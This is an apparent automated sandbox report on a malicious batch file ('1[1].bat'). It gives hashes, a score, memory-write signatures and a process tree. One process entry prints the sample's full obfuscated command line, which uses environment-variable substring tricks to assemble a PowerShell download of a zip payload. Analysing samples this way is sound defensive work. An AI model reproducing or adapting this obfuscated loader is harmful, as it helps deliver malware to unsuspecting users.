Analysis
-
max time kernel
134s -
max time network
136s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system -
submitted
10-10-2024 02:00
Static task
static1
Behavioral task
behavioral1
Sample
1[1].bat
Resource
win10-20240404-en
windows10-1703-x64
1 signatures
150 seconds
Behavioral task
behavioral2
Sample
1[1].bat
Resource
win11-20241007-en
windows11-21h2-x64
22 signatures
150 seconds
General
-
Target
1[1].bat
-
Size
322KB
-
MD5
2ebd449588b16be3eb3dbd71b04fa73b
-
SHA1
c8e825f5d253a1b1a6bc4a1e46f5704e7304f52b
-
SHA256
16591274e9ec8cfc4ede4d57b84e678f92d82190257f8a17dd69e28075165b25
-
SHA512
82d3b6e9488ebec7afaee7c13e61150bce46c8f9dfc6a5f4dadd2843933c507035f8664893d8f97ae20a3f3c13ea1f6a3233ca9c1a1dbe67058d26c601b4ece2
-
SSDEEP
6144:yjtmZrkbw+jOQ69lq2YnECD6C+0uyFDXJwEgvih40ZoQ5L:4AaN78wE86guqXJdgKbZoQF
Score
1/10
Malware Config
Signatures
-
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 3376 wrote to memory of 2512 3376 cmd.exe 74 PID 3376 wrote to memory of 2512 3376 cmd.exe 74 PID 3376 wrote to memory of 812 3376 cmd.exe 75 PID 3376 wrote to memory of 812 3376 cmd.exe 75
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\1[1].bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3376 -
C:\Windows\system32\chcp.comchcp 650012⤵PID:2512
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo [Net.ServicePointManager]::SecurityPro~36, 1%z%z(IVOH%n%j,cjfyE%z%yLIcQSX%w%q?VIWDeEg]joSYzOIXS%Y1%AMhmd$%p%(z]#pJB%e%B])rIxRWmL%D1%lA(#,%p%RRusSA%n%_ktBW[%PUblIc:~-5, 1%c%#)KV$vk%PROgrAmFiLES:~12, 1%e%oh?nNFs%j%yxSffu]%A1%X]sNSh%c%,HtUpO%z%yLxwKRP%e%kUryy%z%TnExC#b%n%k#D(t%z%Uq)Zqc%w%V_Sjd%E1%_KBYDAI%j%i(LhG%a%rGGPJcG%p%xNdut]BwfNHoAjbiqvPgTW%E1%Tr)]Z%w%UHuqAv%d%[nnlyC2; (New-Object -TypeName S~-26, 1%d%mivCUs(%e%G[BW#l%p%E]Jf,N%x%NRdENBk#ilmH%Y1%vtCTO%p%?el#k%e%p]IKMv#cpbv%H1%mM]OSlO%KDOT:~45,1%m%KK_Coh%N1%]j_XM%w%yNrUZHm%CoMmONPROgRAmFILES(x86):~-4, 1%p%vaZCy%y%bCesHb%e%pN]k)rH(dBR#VCbTgm%DRIverdATa:~-4, 1%z%cyS$tea%h%q(KRhHC%y%hP?e[Z#%w%CODKb%z%?NPWaJF%l%Ehj#f%o%kqhmc%Q1%_aUBsgk%t%?iqIh%w%VvII]%p%TK]EZo$WpX(CZjFmnzc%s%H$iuPq%e%cOi,)Y%e%TGBkr%a%N$hrsap%d%AUxupDNlAKZdU$w))TF,HTLUQ%e%,]Sakt?%g%ywyw[Lb%o%uuRdd%d%g#?Zu%p%OY[d[(%z%$,AXLL#tpQns%n%)vttPur%z%i]A]Zgv%x%Z]cOCKGPpEdd%h%]gews%a%kJzNDxUu_QtWS%n%[gu,s%z%m)enn%y%Q#,$hZ?%e%,klV(v%KDOT:~45,1%y%uVv)Fp%e%EGYX_pI,Xv)ql%n%nIWut,%l%j$KQ]%n%xxM[oe%s%MiMT[c(%p%ymumDx$wPqxz%h%wdPASSF%a%]B]_cKp,YxeE%c%B?m]QC%z%HCGlO%n%_E#wdO%v%(,]?X%p%Xyuui?L%e%oGWpAyul$?Hkq%d%cuDrea%j%IIdsYtP%y%RaMoas%l%tvURf$%a%fWkPAZy%e%Jgsie%t%JLxYfx%n%#dR]a%d%sJgNsNhatH$m%k%)YFuU%t%j$zLb%a%b]cTtTaNK_l_oDbWouCiiqeVq%D1%PxjMz%j%ANQcI%d%Za)Nku%e%juseDu%p%jZKnpMG%tEmP:~-2, 1#ptStlo%T1%sjLc)p%Z1%YDzWQLBajlbXb%A1%NfUIC%l%VgHna_Z%e%OO[oAN%s%ANi#C(ogS](,A]E(yLag[f%R1%obsevn%p%)quvVg%e%GdmkA%E1%L_#Ub%p%lDgLB%x%[(VqAl%a%RtPj,X%A1%W]NumN%l%NCTju%e%ibysL?%s%qfLxfV_)NHxARybgTCyNkJ#K)v)UBGQ%N1%txwbofo%l%ohrOcgT%F1%KnaOza%COMMoNprOgrAmfiLeS(x86):~-23, 1sZ7lZ.zip') "2⤵PID:812
-